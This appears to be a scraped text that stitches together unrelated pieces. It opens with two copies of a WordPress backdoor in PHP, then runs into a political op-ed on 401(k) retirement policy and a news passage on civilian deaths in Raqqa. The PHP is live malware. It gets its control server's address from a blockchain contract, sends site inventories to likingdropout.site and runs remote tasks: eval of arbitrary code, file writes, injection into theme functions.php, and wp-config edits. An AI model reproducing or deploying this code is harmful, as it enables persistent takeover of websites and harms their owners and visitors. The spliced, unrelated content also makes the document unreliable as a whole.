// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
But even as he rushes to the defense of 401(k)s, the president—with the help of fellow Republicans on Capitol Hill—has over the course of his presidency already made it harder for millions of Americans to save for retirement. In fact, he managed to squeeze two misleading statements into his tweet about 401(k)s. First, the benefits of tax-deferred 401(k) plans currently flow disproportionately to households near the top of the income distribution—not the middle class. And second, the current strategy of encouraging retirement savings through tax incentives such as 401(k) plans is not one that “works.” According to a recent estimate from researchers at the Census Bureau, fewer than one-third of American workers participate in 401(k) plans and other workplace retirement accounts, and the failure of 401(k) plans to cover broad swaths of the population is a major cause of the country’s retirement-savings shortfall.
Over the past nine months, President Trump and congressional Republicans have gone out of their way to make saving for retirement more difficult for workers who need the most help. This spring, Republicans invoked the Congressional Review Act—a law that had been used only once before this year—to undo an Obama administration rule critical in allowing states to offer their own plans to help private-sector workers save for retirement. The action will affect systems in several states—including California and Illinois—that automatically enroll private-sector workers in state-sponsored individual retirement accounts (IRAs) if their employers don’t offer retirement benefits.
An estimated 55 million workers don’t have access to a retirement savings plan through their employers, and the Obama-era rule permitted states and localities to set up auto-enroll schemes that cover these workers without violating a 1974 law called the Employee Retirement Income Security Act. But the investment industry—apparently fearing that automatic enrollment would give workers using these plans bargaining power to drive down the fees that mutual funds now charge customers—lobbied hard to kill the initiatives. State officials—Republicans as well as Democrats—pushed back, and one survey found that 72 percent of Americans who consider themselves Republicans agreed that state plans are a good idea. But congressional Republicans, betraying their usual paeans to states’ rights, bowed to industry pressure and repealed the Obama-era legal exception. In May, President Trump signed the repeal measure into law.
A further blow to American workers saving for retirement came in August, when the Trump administration delayed implementation of the Department of Labor’s so-called fiduciary rule, which would have required all types of retirement investment advisers to put their clients’ interests above their own. The rule would have barred brokers from engaging in unsavory practices such as steering clients toward high-fee mutual funds that pay the brokers to do so.
The August action wasn’t Trump’s first attack on the fiduciary rule. During the presidential campaign, one of his advisers, Anthony Scaramucci, likened the rule to the Supreme Court’s infamous Dred Scott decision, which held that African Americans were not U.S. citizens. Soon after taking office, the Trump administration delayed implementation of the rule for 60 days. But the August action, which put key parts of the regulation on hold until July 2019, is the administration’s biggest step to thwarting the rule yet. The Economic Policy Institute, a left-leaning think tank, has calculated that the delay will cost retirement savers approximately $ 10.9 billion in higher fees over 30 years.
While the effort to undermine state auto-enroll programs and the delay of the fiduciary rule appear to have been aimed at pleasing financial-industry interests, the recent 401(k) proposal was driven by a different desire: the need to pay for proposed tax cuts that will benefit businesses and (mostly high-income) individuals. To make up for some of the government revenue that would be lost after these deep tax cuts, congressional Republicans considered imposing a $ 2,400-per-year cap on contributions to traditional tax-deferred 401(k) plans. (The current cap for most workers is $ 18,000.) The motivation for this move appears to be mere fiscal gimmickry: The change would make the cost of the Republicans’ package of tax cuts appear to be lower over the next decade, which would help them meet their self-imposed deficit targets. But the change actually wouldn’t do much to raise revenue over the longer term—it would just change the timing of tax collections to make the cost of the Republicans’ tax plan look smaller than it is.
The proposal being considered by congressional Republicans would have affected traditional 401(k) plans, but not the rules governing the closely related Roth 401(k)s. In a traditional 401(k) plan, workers aren’t taxed on their savings at the time they contribute, though they are taxed when they withdraw. By contrast, in a Roth 401(k) plan, workers are taxed on their contributions but can withdraw funds tax-free six months before they turn 60. The proposal being considered by congressional Republicans would require that all contributions above $ 2,400 be made to Roth plans.
For workers whose marginal tax rate remains roughly the same throughout their lifetimes, a shift from traditional to Roth plans would have at most a modest effect. But such a shift in saving would harm people whose incomes decline significantly in their later years—precisely the people who need the most help saving for retirement. For example, a worker who is in the 25 percent tax bracket today but who will drop to the 10 percent bracket in retirement would much prefer to bet taxed at a lower rate later rather than a higher rate now. In those circumstances, the worker will have materially more to spend in retirement if she can save through a traditional plan rather than a Roth.
Why, then, would Republicans have wanted to shift to a system that benefits workers whose incomes are likely to rise in their later years? While one of us has suggested a policy justification for a transition to Roth plans, that rationale is not what appears to have motivated the Republican proposal. Rather, the answer lies in the fact that Senate Republicans have passed a budget resolution allowing them to add no more than $ 1.5 trillion to the deficit over the next decade. The current tax proposal from the Trump administration and Republican leaders nevertheless looks like it will cost much more than that—$ 2.4 trillion over the next 10 years, according to the nonpartisan Tax Policy Center. Republicans need to find a way to plug that gap.
And that’s where the 401(k) proposal would have come in. By imposing a cap that would force workers to switch from traditional to Roth plans now, Republicans would ensure that the federal government will raise more revenue over the next decade, because money put into Roth plans will be taxed at the time it is contributed. Without the short-term revenue boost that would come with the proposed 401(k) cap, it’s not clear how Republicans can meet the $ 1.5 trillion target upon which some members of their caucus have insisted; some options include raising income taxes on the rich or limiting a contemplated expansion of the Child Tax Credit. And there’s a chance that President Trump’s tweet doesn’t mark the end of the 401(k) proposal. Once he realizes that he needs revenue from somewhere to plug a nearly trillion-dollar hole in his tax plan, President Trump may reconsider his position—as he has flip-flopped so many times before.
Moreover, President Trump’s newfound concern about 401(k) plans doesn’t reflect a genuine commitment to helping low- and middle-income workers save for retirement. The primary beneficiaries of traditional 401(k) plans and other tax-deferred retirement accounts are not the “middle class”: rather, the Treasury Department estimates that half of the tax benefits of these accounts go to households in the top tenth of the income distribution. A mere 3.5 percent of the benefits go to families in the bottom half.
Plainly, 401(k)s are no solution to the country’s retirement-savings problem. And it’s a problem reaching crisis proportions: The Federal Reserve reports that more than one-quarter of working Americans have no retirement savings or pension. A generation ago, many more Americans enjoyed the support of sustainable private and public pensions to meet their retirement needs. Those without pensions enjoyed a decades-long boom in both real-estate values and the stock market to buoy their personal wealth. And in preceding generations with lower life expectancies, a solvent Social Security system more easily covered the needs of correspondingly shorter retirements. In the future, however, Americans will spend more time in retirement without the generous support of pensions or Social Security.
So what can could be done to fix the retirement system? The government could more enthusiastically embrace the proposals of the Nobel laureate Richard Thaler and his collaborator Cass Sunstein, who recommend making it a default that workers are automatically enrolled in 401(k) plans, automatically contribute meaningful amounts to those accounts, and automatically invest in low-fee funds. That is, the government could support the state auto-enroll plans that Trump and congressional Republicans have tried to kill. Another fix—as one of us has proposed—would be to open the federal Thrift Savings Plan (TSP) to all Americans. The TSP is a half-trillion-dollar savings plan run by the investment firm BlackRock for more than 5 million federal employees that offers 10 sound investment choices at an average fee of just 0.038 percent—far below the average fee of 0.82 percent for actively managed equity mutual funds. Opening up the TSP to private-sector workers would give ordinary Americans access to the retirement-savings options that members of Congress now enjoy.
Until now, though, the Trump administration and congressional Republicans have shown little enthusiasm for these ideas—and much more interest in keeping workers away from auto-enroll programs and low-fee options. Trump’s intervention on 401(k) plans is no exception. And while this should bring satisfaction to some in the financial industry of knowing that campaign contributions have been well spent, it will leave more and more workers entering their retirement years with nothing in the bank.
![]()
SDF militants, supported by the US-led coalition, launched the offensive in Raqqa province in November last year. In June, the fighting progressed towards the Islamic State-besieged city, the de facto capital of the self-proclaimed terrorist caliphate.
According to UN estimates made public Wednesday, around 25,000 civilians are still trapped in Raqqa, and are being slaughtered in the crossfire between the sides in the ongoing battle. The UN estimates that some 27 civilians are killed in Raqqa daily.
However and despite the presence of the around 1,000-strong ISIS (IS, formerly ISIS/ISIL) force in the city, it is the US-led bombing campaign which is mostly responsible for the civilian death toll there, local media activist Musa al Khalafa told RT.
“What is happening now in Raqqa is destruction not liberation at all,” Khalafa noted. “More than 2,000 people have been killed as results of the US led coalition bombing and the SDF shelling of civilians in Raqqa.”
While the numbers are hard to verify, Zeid Ra’ad al-Hussein, the UN High Commissioner for Human Rights, said his office had managed to confirm reports of 151 civilian deaths from just six aerial or ground operations during August alone.
“Given the extremely high number of reports of civilian casualties this month and the intensity of the air strikes on Raqqa, coupled with ISIL’s use of civilians as human shields, I am deeply concerned that civilians – who should be protected at all times – are paying an unacceptable price and that forces involved in battling ISIL are losing sight of the ultimate goal of this battle,” Zeid said in a statement Thursday.
‘Unacceptable price for civilians’: UN says US-led coalition airstrikes may breach intl law
Describing the 84 days of SDF’s liberation campaign of Raqqa nothing short of a “siege,” Khalafa said that “is imposed only on civilians, women, children, old and sick people,” who are already suffering from ISIS.
The activist noted that the US-led jets are indiscriminately bombing civilians and refugees, sometimes striking groups of 30 to 50 people in hideouts, wrongly assessing that civilians there are legitimate ISIS targets.
Khalafa said that many families were killed near the Euphrates river while they were just getting some water. Others perished when the US-led coalition bombed bridges which served as escape routes.
“This actually prevented civilians from leaving the city not ISIL, as ISIL fighters can depart and leave the city any time – even from the territories controlled by SDF and the coalition,” the activist told RT.
“You can’t call this kind of actions liberation,” Khalafa underlined. “The city lacks electricity, running water, there is a shortage of food, like bread. They’ve destroyed bakeries. National hospital and Al-Salam hospital which served civilians in Raqqa have been attacked and destroyed completely by the US-led coalition… there are two or three operating hospitals for ISIL only.”
